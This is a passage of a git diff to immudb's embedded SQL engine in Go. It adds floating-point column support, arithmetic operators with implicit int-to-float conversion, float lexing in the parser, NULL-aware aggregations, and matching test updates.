require.ErrorIs(t, err, ErrDivisionByZero) - err = r.Close() - require.NoError(t, err) + err = r.Close() + require.NoError(t, err) + }) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id = 0 AND NOT active OR active", nil) require.NoError(t, err) @@ -1827,6 +2294,39 @@ func TestQuery(t *testing.T) { err = r.Close() require.NoError(t, err) + t.Run("Query with integer arithmetics", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id + 1/1 > 1 * (1 - 0)", nil) + require.NoError(t, err) + + _, err = r.Read(context.Background()) + require.NoError(t, err) + + err = r.Close() + require.NoError(t, err) + }) + + t.Run("Query with floating-point arithmetic", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id + 1.0/1.0 > 1.0 * (1.0 - 0.0)", nil) + require.NoError(t, err) + + _, err = r.Read(context.Background()) + require.NoError(t, err) + + err = r.Close() + require.NoError(t, err) + }) + + t.Run("Query with boolean expressions", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id = 0 AND NOT active OR active", nil) + require.NoError(t, err) + + _, err = r.Read(context.Background()) + require.NoError(t, err) + + err = r.Close() + require.NoError(t, err) + }) + r, err = engine.Query(context.Background(), nil, "INVALID QUERY", nil) require.ErrorIs(t, err, ErrParsingError) require.EqualError(t, err, "parsing error: syntax error: unexpected IDENTIFIER at position 7") @@ -3147,7 +3647,21 @@ func TestQueryWithInClause(t *testing.T) { func TestAggregations(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER, active BOOLEAN, payload BLOB, PRIMARY KEY id)", nil) + _, _, err := engine.Exec( + context.Background(), + nil, + ` + CREATE TABLE table1 ( + id INTEGER, + title VARCHAR, + age INTEGER, + active BOOLEAN, + payload BLOB, + PRIMARY KEY(id) + ) + `, + nil, + ) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) @@ -3156,11 +3670,25 @@ func TestAggregations(t *testing.T) { rowCount := 10 base := 30 + nullRows := map[int]bool{ + 3: true, + 5: true, + 6: true, + } + + ageSum := 0 + for i := 1; i <= rowCount; i++ { params := make(map[string]interface{}, 3) + params["id"] = i params["title"] = fmt.Sprintf("title%d", i) - params["age"] = base + i + if _, setToNull := nullRows[i]; setToNull { + params["age"] = nil + } else { + params["age"] = base + i + ageSum += base + i + } _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age) VALUES (@id, @title, @age)", params) require.NoError(t, err) @@ -3215,13 +3743,13 @@ func TestAggregations(t *testing.T) { require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "c")].Value()) - require.Equal(t, int64((1+2*base+rowCount)*rowCount/2), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col1")].Value()) + require.Equal(t, int64(ageSum), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col1")].Value()) require.Equal(t, int64(1+base), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col2")].Value()) require.Equal(t, int64(base+rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col3")].Value()) - require.Equal(t, int64(base+rowCount/2), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col4")].Value()) + require.Equal(t, int64(ageSum/(rowCount-len(nullRows))), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col4")].Value()) _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) @@ -4050,10 +4578,10 @@ func TestInferParametersInvalidCases(t *testing.T) { require.NoError(t, err) _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (@param1, @param1)") - require.Equal(t, ErrInferredMultipleTypes, err) + require.ErrorIs(t, err, ErrInferredMultipleTypes) _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (@param1)") - require.Equal(t, ErrInvalidNumberOfValues, err) + require.ErrorIs(t, err, ErrInvalidNumberOfValues) _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable1(id, title) VALUES (@param1, @param2)") require.ErrorIs(t, err, ErrTableDoesNotExist) @@ -4062,10 +4590,16 @@ func TestInferParametersInvalidCases(t *testing.T) { require.ErrorIs(t, err, ErrColumnDoesNotExist) _, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > @param1 AND (@param1 OR active)") - require.Equal(t, ErrInferredMultipleTypes, err) + require.ErrorIs(t, err, ErrInferredMultipleTypes) _, err = engine.InferParameters(context.Background(), nil, "BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@param1, @param1); COMMIT;") - require.Equal(t, ErrInferredMultipleTypes, err) + require.ErrorIs(t, err, ErrInferredMultipleTypes) + + _, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > INVALID_FUNCTION()") + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > CAST(wrong_column_name AS INTEGER)") + require.ErrorIs(t, err, ErrColumnDoesNotExist) } func TestDecodeValueFailures(t *testing.T) { @@ -4143,21 +4677,21 @@ func TestDecodeValueSuccess(t *testing.T) { "zero integer", []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0}, IntegerType, - &Number{val: 0}, + &Integer{val: 0}, 12, }, { "large integer", []byte{0, 0, 0, 8, 0, 0, 0, 0, 127, 255, 255, 255}, IntegerType, - &Number{val: math.MaxInt32}, + &Integer{val: math.MaxInt32}, 12, }, { "large integer padded", []byte{0, 0, 0, 8, 0, 0, 0, 0, 127, 255, 255, 255, 1, 1, 1}, IntegerType, - &Number{val: math.MaxInt32}, + &Integer{val: math.MaxInt32}, 12, }, { @@ -4521,7 +5055,7 @@ func TestIndexingNullableColumns(t *testing.T) { case nil: return &NullValue{t: tp} case int: - return &Number{val: int64(v)} + return &Integer{val: int64(v)} case string: return &Varchar{val: v} case []byte: @@ -4534,7 +5068,7 @@ func TestIndexingNullableColumns(t *testing.T) { } t1Row := func(id int64, v1, v2 interface{}) *Row { - idVal := &Number{val: id} + idVal := &Integer{val: id} v1Val := colVal(t, v1, IntegerType) v2Val := colVal(t, v2, VarcharType) @@ -4553,7 +5087,7 @@ func TestIndexingNullableColumns(t *testing.T) { } t2Row := func(id int64, v1, v2, v3, v4 interface{}) *Row { - idVal := &Number{val: id} + idVal := &Integer{val: id} v1Val := colVal(t, v1, IntegerType) v2Val := colVal(t, v2, VarcharType) v3Val := colVal(t, v3, BooleanType) @@ -5975,7 +6509,7 @@ func TestCopyCatalogToTx(t *testing.T) { case nil: return &NullValue{t: tp} case int: - return &Number{val: int64(v)} + return &Integer{val: int64(v)} case string: return &Varchar{val: v} case []byte: @@ -5992,7 +6526,7 @@ func TestCopyCatalogToTx(t *testing.T) { id int64, v1, v2, v3 interface{}, ) *Row { - idVal := &Number{val: id} + idVal := &Integer{val: id} v1Val := colVal(t, v1, IntegerType) v2Val := colVal(t, v2, VarcharType) v3Val := colVal(t, v3, AnyType) diff --git a/embedded/sql/grouped_row_reader.go b/embedded/sql/grouped_row_reader.go index 53615a2d8d..a35ec44d99 100644 --- a/embedded/sql/grouped_row_reader.go +++ b/embedded/sql/grouped_row_reader.go @@ -18,6 +18,7 @@ package sql import ( "context" + "errors" "fmt" "github.com/codenotary/immudb/embedded/store" @@ -150,7 +151,11 @@ func zeroForType(t SQLValueType) TypedValue { switch t { case IntegerType: { - return &Number{} + return &Integer{} + } + case Float64Type: + { + return &Float64{} } case BooleanType: { @@ -183,7 +188,7 @@ func (gr *groupedRowReader) Parameters() map[string]interface{} { func (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) { for { row, err := gr.rowReader.Read(ctx) - if err == store.ErrNoMoreEntries { + if errors.Is(err, store.ErrNoMoreEntries) { if !gr.nonEmpty && allAgregations(gr.selectors) { // special case when all selectors are aggregations zeroRow := &Row{ @@ -201,7 +206,7 @@ func (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) { encSel := EncodeSelector(aggFn, db, table, col) var zero TypedValue - if aggFn == COUNT || aggFn == SUM || aggFn == AVG { + if aggFn == COUNT { zero = zeroForType(IntegerType) } else { zero = zeroForType(colsBySelector[encSel].Type) @@ -305,19 +310,31 @@ func (gr *groupedRowReader) initAggregations() error { } case SUM: { - v = &SumValue{sel: EncodeSelector("", db, table, col)} + v = &SumValue{ + val: &NullValue{t: AnyType}, + sel: EncodeSelector("", db, table, col), + } } case MIN: { - v = &MinValue{sel: EncodeSelector("", db, table, col)} + v = &MinValue{ + val: &NullValue{t: AnyType}, + sel: EncodeSelector("", db, table, col), + } } case MAX: { - v = &MaxValue{sel: EncodeSelector("", db, table, col)} + v = &MaxValue{ + val: &NullValue{t: AnyType}, + sel: EncodeSelector("", db, table, col), + } } case AVG: { - v = &AVGValue{sel: EncodeSelector("", db, table, col)} + v = &AVGValue{ + s: &NullValue{t: AnyType}, + sel: EncodeSelector("", db, table, col), + } } default: { diff --git a/embedded/sql/implicit_conversion.go b/embedded/sql/implicit_conversion.go new file mode 100644 index 0000000000..dfebf123d1 --- /dev/null +++ b/embedded/sql/implicit_conversion.go @@ -0,0 +1,31 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +func applyImplicitConversion(val TypedValue, requiredColumnType SQLValueType) interface{} { + + switch requiredColumnType { + case Float64Type: + switch value := val.Value().(type) { + case int64: + return float64(value) + } + } + + // No implicit conversion rule found, do not convert at all + return val.Value() +} diff --git a/embedded/sql/implicit_conversion_test.go b/embedded/sql/implicit_conversion_test.go new file mode 100644 index 0000000000..38a97ef53d --- /dev/null +++ b/embedded/sql/implicit_conversion_test.go @@ -0,0 +1,42 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import ( + "fmt" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestApplyImplicitConversion(t *testing.T) { + for _, d := range []struct { + val TypedValue + requiredType SQLValueType + result interface{} + }{ + {&Integer{val: 1}, IntegerType, int64(1)}, + {&Integer{val: 1}, Float64Type, float64(1)}, + {&Float64{val: 1}, Float64Type, float64(1)}, + {&Varchar{val: "hello world"}, IntegerType, "hello world"}, + } { + t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { + converted := applyImplicitConversion(d.val, d.requiredType) + require.Equal(t, d.result, converted) + }) + } +} diff --git a/embedded/sql/num_operator.go b/embedded/sql/num_operator.go new file mode 100644 index 0000000000..f3ac1f251e --- /dev/null +++ b/embedded/sql/num_operator.go @@ -0,0 +1,108 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import "fmt" + +func applyNumOperator(op NumOperator, vl, vr TypedValue) (TypedValue, error) { + + if _, lf := vl.Value().(float64); lf { + return applyNumOperatorFloat64(op, vl, vr) + } + + if _, rf := vr.Value().(float64); rf { + return applyNumOperatorFloat64(op, vl, vr) + } + + return applyNumOperatorInteger(op, vl, vr) +} + +func applyNumOperatorInteger(op NumOperator, vl, vr TypedValue) (TypedValue, error) { + + nl, isNumber := vl.Value().(int64) + if !isNumber { + return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) + } + + nr, isNumber := vr.Value().(int64) + if !isNumber { + return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) + } + + switch op { + case ADDOP: + { + return &Integer{val: nl + nr}, nil + } + case SUBSOP: + { + return &Integer{val: nl - nr}, nil + } + case DIVOP: + { + if nr == 0 { + return nil, ErrDivisionByZero + } + + return &Integer{val: nl / nr}, nil + } + case MULTOP: + { + return &Integer{val: nl * nr}, nil + } + } + + return nil, ErrUnexpected +} + +func applyNumOperatorFloat64(op NumOperator, vl, vr TypedValue) (TypedValue, error) { + + nl, isNumber := applyImplicitConversion(vl, Float64Type).(float64) + if !isNumber { + return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) + } + + nr, isNumber := applyImplicitConversion(vr, Float64Type).(float64) + if !isNumber { + return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) + } + + switch op { + case ADDOP: + { + return &Float64{val: nl + nr}, nil + } + case SUBSOP: + { + return &Float64{val: nl - nr}, nil + } + case DIVOP: + { + if nr == 0 { + return nil, ErrDivisionByZero + } + + return &Float64{val: nl / nr}, nil + } + case MULTOP: + { + return &Float64{val: nl * nr}, nil + } + } + + return nil, ErrUnexpected +} diff --git a/embedded/sql/num_operator_test.go b/embedded/sql/num_operator_test.go new file mode 100644 index 0000000000..71fca5896c --- /dev/null +++ b/embedded/sql/num_operator_test.go @@ -0,0 +1,115 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import ( + "fmt" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestNumOperator(t *testing.T) { + + t.Run("Successful operator", func(t *testing.T) { + for _, d := range []struct { + op NumOperator + lv TypedValue + rv TypedValue + ev interface{} + }{ + {ADDOP, &Integer{val: 1}, &Integer{val: 2}, int64(3)}, + {ADDOP, &Integer{val: 1}, &Float64{val: 2}, float64(3)}, + {ADDOP, &Float64{val: 1}, &Integer{val: 2}, float64(3)}, + {ADDOP, &Float64{val: 1}, &Float64{val: 2}, float64(3)}, + + {SUBSOP, &Integer{val: 1}, &Integer{val: 2}, int64(-1)}, + {SUBSOP, &Integer{val: 1}, &Float64{val: 2}, float64(-1)}, + {SUBSOP, &Float64{val: 1}, &Integer{val: 2}, float64(-1)}, + {SUBSOP, &Float64{val: 1}, &Float64{val: 2}, float64(-1)}, + + {DIVOP, &Integer{val: 10}, &Integer{val: 3}, int64(3)}, + {DIVOP, &Integer{val: 10}, &Float64{val: 3}, float64(10.0 / 3.0)}, + {DIVOP, &Float64{val: 10}, &Integer{val: 3}, float64(10.0 / 3.0)}, + {DIVOP, &Float64{val: 10}, &Float64{val: 3}, float64(10.0 / 3.0)}, + + {MULTOP, &Integer{val: 10}, &Integer{val: 3}, int64(30)}, + {MULTOP, &Float64{val: 10}, &Integer{val: 3}, float64(30)}, + {MULTOP, &Integer{val: 10}, &Float64{val: 3}, float64(30)}, + {MULTOP, &Float64{val: 10}, &Float64{val: 3}, float64(30)}, + } { + t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { + result, err := applyNumOperator(d.op, d.lv, d.rv) + require.NoError(t, err) + require.Equal(t, d.ev, result.Value()) + }) + } + }) + + t.Run("Division by 0", func(t *testing.T) { + for _, d := range []struct { + lv TypedValue + rv TypedValue + }{ + {&Integer{val: 100}, &Integer{val: 0}}, + {&Float64{val: 100}, &Integer{val: 0}}, + {&Integer{val: 100}, &Float64{val: 0}}, + {&Float64{val: 100}, &Float64{val: 0}}, + } { + t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { + result, err := applyNumOperator(DIVOP, d.lv, d.rv) + require.ErrorIs(t, err, ErrDivisionByZero) + require.Nil(t, result) + }) + } + }) + + t.Run("Incompatible types", func(t *testing.T) { + for _, d := range []struct { + lv TypedValue + rv TypedValue + }{ + {&Integer{val: 100}, &Bool{}}, + {&Float64{val: 100}, &Bool{}}, + {&Bool{}, &Integer{val: 100}}, + {&Bool{}, &Float64{val: 100}}, + } { + t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { + result, err := applyNumOperator(ADDOP, d.lv, d.rv) + require.ErrorIs(t, err, ErrInvalidValue) + require.Nil(t, result) + }) + } + }) + + t.Run("Invalid operation", func(t *testing.T) { + for _, d := range []struct { + lv TypedValue + rv TypedValue + }{ + {&Integer{val: 100}, &Integer{val: 1}}, + {&Float64{val: 100}, &Float64{val: 1}}, + } { + t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { + result, err := applyNumOperator(NumOperator(-1), d.lv, d.rv) + require.ErrorIs(t, err, ErrUnexpected) + require.Nil(t, result) + }) + } + }) + +} diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 55763e4d3c..2aeebdc748 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -102,6 +102,7 @@ var types = map[string]SQLValueType{ "VARCHAR": VarcharType, "BLOB": BLOBType, "TIMESTAMP": TimestampType, + "FLOAT": Float64Type, } var aggregateFns = map[string]AggregateFn{ @@ -353,6 +354,25 @@ func (l *lexer) Lex(lval *yySymType) int { lval.err = err return ERROR } + // looking for a float + if isDot(l.r.nextChar) { + l.r.ReadByte() // consume dot + + decimalPart, err := l.readNumber() + if err != nil { + lval.err = err + return ERROR + } + + val, err := strconv.ParseFloat(fmt.Sprintf("%c%s.%s", ch, tail, decimalPart), 64) + if err != nil { + lval.err = err + return ERROR + } + + lval.float = val + return FLOAT + } val, err := strconv.ParseUint(fmt.Sprintf("%c%s", ch, tail), 10, 64) if err != nil { @@ -360,8 +380,8 @@ func (l *lexer) Lex(lval *yySymType) int { return ERROR } - lval.number = val - return NUMBER + lval.integer = val + return INTEGER } if isComparison(ch) { @@ -477,6 +497,24 @@ func (l *lexer) Lex(lval *yySymType) int { return PPARAM } + if isDot(ch) { + if isNumber(l.r.nextChar) { // looking for a float + decimalPart, err := l.readNumber() + if err != nil { + lval.err = err + return ERROR + } + val, err := strconv.ParseFloat(fmt.Sprintf("%d.%s", 0, decimalPart), 64) + if err != nil { + lval.err = err + return ERROR + } + lval.float = val + return FLOAT + } + return DOT + } + return int(ch) } @@ -494,6 +532,10 @@ func (l *lexer) readNumber() (string, error) { return l.readWhile(isNumber) } +func (l *lexer) readDot() (string, error) { + return l.readWhile(isDot) +} + func (l *lexer) readString() (string, error) { var b bytes.Buffer @@ -583,3 +625,7 @@ func isQuote(ch byte) bool { func isDoubleQuote(ch byte) bool { return ch == 0x22 } + +func isDot(ch byte) bool { + return '.' == ch +} diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 249cb32c71..58905f31ae 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -20,6 +20,7 @@ import ( "encoding/hex" "errors" "fmt" + "strings" "testing" "github.com/stretchr/testify/require" @@ -101,7 +102,7 @@ func TestUseSnapshotStmt(t *testing.T) { expectedOutput: []SQLStmt{ &UseSnapshotStmt{ period: period{ - start: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Number{val: 100}}, inclusive: true}, + start: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 100}}, inclusive: true}, }, }, }, @@ -134,8 +135,8 @@ func TestUseSnapshotStmt(t *testing.T) { expectedOutput: []SQLStmt{ &UseSnapshotStmt{ period: period{ - start: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Number{val: 1}}, inclusive: true}, - end: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Number{val: 10}}, inclusive: true}, + start: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 1}}, inclusive: true}, + end: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 10}}, inclusive: true}, }, }, }, @@ -147,7 +148,7 @@ func TestUseSnapshotStmt(t *testing.T) { &UseSnapshotStmt{ period: period{ start: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Param{id: "fromtx"}}, inclusive: true}, - end: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Number{val: 10}}}, + end: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 10}}}, }, }, }, @@ -161,7 +162,7 @@ func TestUseSnapshotStmt(t *testing.T) { start: &openPeriod{ instant: periodInstant{ instantType: txInstant, - exp: &NumExp{op: SUBSOP, left: &Param{id: "fromtx"}, right: &Number{val: 1}}, + exp: &NumExp{op: SUBSOP, left: &Param{id: "fromtx"}, right: &Integer{val: 1}}, }, }, end: &openPeriod{instant: periodInstant{instantType: timeInstant, exp: &FnCall{fn: "now"}}}, @@ -413,7 +414,7 @@ func TestInsertIntoStmt(t *testing.T) { cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, rows: []*RowSpec{ {Values: []ValueExp{ - &Number{val: 2}, + &Integer{val: 2}, &FnCall{fn: "now"}, &Varchar{val: "un'titled row"}, &Bool{val: true}, @@ -435,7 +436,7 @@ func TestInsertIntoStmt(t *testing.T) { cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, rows: []*RowSpec{ {Values: []ValueExp{ - &Number{val: 2}, + &Integer{val: 2}, &FnCall{fn: "now"}, &Varchar{val: ""}, &Bool{val: true}, @@ -457,7 +458,7 @@ func TestInsertIntoStmt(t *testing.T) { cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, rows: []*RowSpec{ {Values: []ValueExp{ - &Number{val: 2}, + &Integer{val: 2}, &FnCall{fn: "now"}, &Varchar{val: "'"}, &Bool{val: true}, @@ -479,7 +480,7 @@ func TestInsertIntoStmt(t *testing.T) { cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, rows: []*RowSpec{ {Values: []ValueExp{ - &Number{val: 2}, + &Integer{val: 2}, &FnCall{fn: "now"}, &Varchar{val: "untitled row"}, &Bool{val: true}, @@ -501,7 +502,7 @@ func TestInsertIntoStmt(t *testing.T) { cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, rows: []*RowSpec{ {Values: []ValueExp{ - &Number{val: 2}, + &Integer{val: 2}, &FnCall{fn: "now"}, &Param{id: "param1", pos: 1}, &Bool{val: true}, @@ -562,9 +563,9 @@ func TestInsertIntoStmt(t *testing.T) { tableRef: &tableRef{table: "table1"}, cols: []string{"id", "active"}, rows: []*RowSpec{ - {Values: []ValueExp{&Number{val: 1}, &Bool{val: false}}}, - {Values: []ValueExp{&Number{val: 2}, &Bool{val: true}}}, - {Values: []ValueExp{&Number{val: 3}, &Bool{val: true}}}, + {Values: []ValueExp{&Integer{val: 1}, &Bool{val: false}}}, + {Values: []ValueExp{&Integer{val: 2}, &Bool{val: true}}}, + {Values: []ValueExp{&Integer{val: 3}, &Bool{val: true}}}, }, }, }, @@ -693,14 +694,14 @@ func TestTxStmt(t *testing.T) { tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, rows: []*RowSpec{ - {Values: []ValueExp{&Number{val: 100}, &Varchar{val: "label1"}}}, + {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, }, }, &UpsertIntoStmt{ tableRef: &tableRef{table: "table2"}, cols: []string{"id"}, rows: []*RowSpec{ - {Values: []ValueExp{&Number{val: 10}}}, + {Values: []ValueExp{&Integer{val: 10}}}, }, }, &RollbackStmt{}, @@ -723,7 +724,7 @@ func TestTxStmt(t *testing.T) { tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, rows: []*RowSpec{ - {Values: []ValueExp{&Number{val: 100}, &Varchar{val: "label1"}}}, + {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, }, }, &CommitStmt{}, @@ -742,7 +743,7 @@ func TestTxStmt(t *testing.T) { where: &CmpBoolExp{ op: EQ, left: &ColSelector{col: "id"}, - right: &Number{val: 100}, + right: &Integer{val: 100}, }, }, &CommitStmt{}, @@ -765,7 +766,7 @@ func TestTxStmt(t *testing.T) { tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, rows: []*RowSpec{ - {Values: []ValueExp{&Number{val: 100}, &Varchar{val: "label1"}}}, + {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, }, }, &CommitStmt{}, @@ -866,7 +867,7 @@ func TestSelectStmt(t *testing.T) { left: &ColSelector{ col: "id", }, - right: &Number{val: 1}, + right: &Integer{val: 1}, }, }}, expectedError: nil, @@ -886,7 +887,7 @@ func TestSelectStmt(t *testing.T) { left: &ColSelector{ col: "id", }, - right: &Number{val: 1}, + right: &Integer{val: 1}, }, }}, expectedError: nil, @@ -1083,10 +1084,10 @@ func TestSelectStmt(t *testing.T) { &ColSelector{col: "col2", as: "title"}, }, ds: &tableRef{table: "table2"}, - limit: &Number{val: 100}, - offset: &Number{val: 1}, + limit: &Integer{val: 100}, + offset: &Integer{val: 1}, }, - limit: &Number{val: 10}, + limit: &Integer{val: 10}, }}, expectedError: nil, }, @@ -1209,7 +1210,7 @@ func TestAggFnStmt(t *testing.T) { having: &CmpBoolExp{ op: GT, left: &AggColSelector{aggFn: SUM, col: "amount"}, - right: &Number{val: 0}, + right: &Integer{val: 0}, }, }}, expectedError: nil, @@ -1246,7 +1247,7 @@ func TestExpressions(t *testing.T) { left: &ColSelector{ col: "id", }, - right: &Number{val: 0}, + right: &Integer{val: 0}, }, }}, expectedError: nil, @@ -1268,7 +1269,7 @@ func TestExpressions(t *testing.T) { left: &ColSelector{ col: "id", }, - right: &Number{val: 0}, + right: &Integer{val: 0}, }, }, right: &CmpBoolExp{ @@ -1276,7 +1277,7 @@ func TestExpressions(t *testing.T) { left: &ColSelector{ col: "id", }, - right: &Number{val: 10}, + right: &Integer{val: 10}, }, }, }}, @@ -1299,14 +1300,14 @@ func TestExpressions(t *testing.T) { left: &ColSelector{ col: "id", }, - right: &Number{val: 0}, + right: &Integer{val: 0}, }, right: &CmpBoolExp{ op: LT, left: &ColSelector{ col: "id", }, - right: &Number{val: 10}, + right: &Integer{val: 10}, }, }, }, @@ -1348,7 +1349,7 @@ func TestExpressions(t *testing.T) { left: &ColSelector{ col: "id", }, - right: &Number{val: 0}, + right: &Integer{val: 0}, }, right: &NotBoolExp{ exp: &CmpBoolExp{ @@ -1357,7 +1358,7 @@ func TestExpressions(t *testing.T) { table: "table1", col: "id", }, - right: &Number{val: 10}, + right: &Integer{val: 10}, }, }, }, @@ -1420,7 +1421,7 @@ func TestExpressions(t *testing.T) { left: &ColSelector{ col: "id", }, - right: &Number{val: 0}, + right: &Integer{val: 0}, }, right: &NotBoolExp{ exp: &CmpBoolExp{ @@ -1429,7 +1430,7 @@ func TestExpressions(t *testing.T) { table: "table1", col: "id", }, - right: &Number{val: 10}, + right: &Integer{val: 10}, }, }, }, @@ -1571,14 +1572,14 @@ func TestMultiLineStmts(t *testing.T) { tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, rows: []*RowSpec{ - {Values: []ValueExp{&Number{val: 100}, &Varchar{val: "label1"}}}, + {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, }, }, &UpsertIntoStmt{ tableRef: &tableRef{table: "table2"}, cols: []string{"id"}, rows: []*RowSpec{ - {Values: []ValueExp{&Number{val: 10}}}, + {Values: []ValueExp{&Integer{val: 10}}}, }, }, &CommitStmt{}, @@ -1622,3 +1623,43 @@ func TestMultiLineStmts(t *testing.T) { } } } + +func TestFloatCornerCases(t *testing.T) { + + for _, d := range []struct { + s string + invalid bool + v ValueExp + }{ + {"1", false, &Integer{val: 1}}, + {"1.", false, &Float64{val: 1}}, + {"1.1", false, &Float64{val: 1.1}}, + {"123.123ab1", true, nil}, + {"1aa23.1234", true, nil}, + {"123..1234", true, nil}, + {"123" + strings.Repeat("1", 10000) + ".123", true, nil}, + } { + t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { + stmt, err := ParseString("INSERT INTO t1(v) VALUES(" + d.s + ")") + if d.invalid { + require.Error(t, err) + require.Contains(t, err.Error(), "syntax error") + } else { + require.NoError(t, err) + require.Equal(t, []SQLStmt{ + &UpsertIntoStmt{ + isInsert: true, + tableRef: &tableRef{ + table: "t1", + }, + cols: []string{"v"}, + rows: []*RowSpec{{ + Values: []ValueExp{d.v}, + }}, + }, + }, stmt) + } + }) + } + +} diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index add9f2556f..191ebfd84b 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -20,6 +20,7 @@ import ( "context" "crypto/sha256" "encoding/binary" + "errors" "math" "github.com/codenotary/immudb/embedded/store" @@ -352,7 +353,7 @@ func (r *rawRowReader) reduceTxRange() (err error) { if r.period.start != nil { txRange.initialTxID, err = r.period.start.instant.resolve(r.tx, r.params, true, r.period.start.inclusive) - if err == store.ErrTxNotFound { + if errors.Is(err, store.ErrTxNotFound) { txRange.initialTxID = uint64(math.MaxUint64) } if err != nil && err != store.ErrTxNotFound { @@ -362,7 +363,7 @@ func (r *rawRowReader) reduceTxRange() (err error) { if r.period.end != nil { txRange.finalTxID, err = 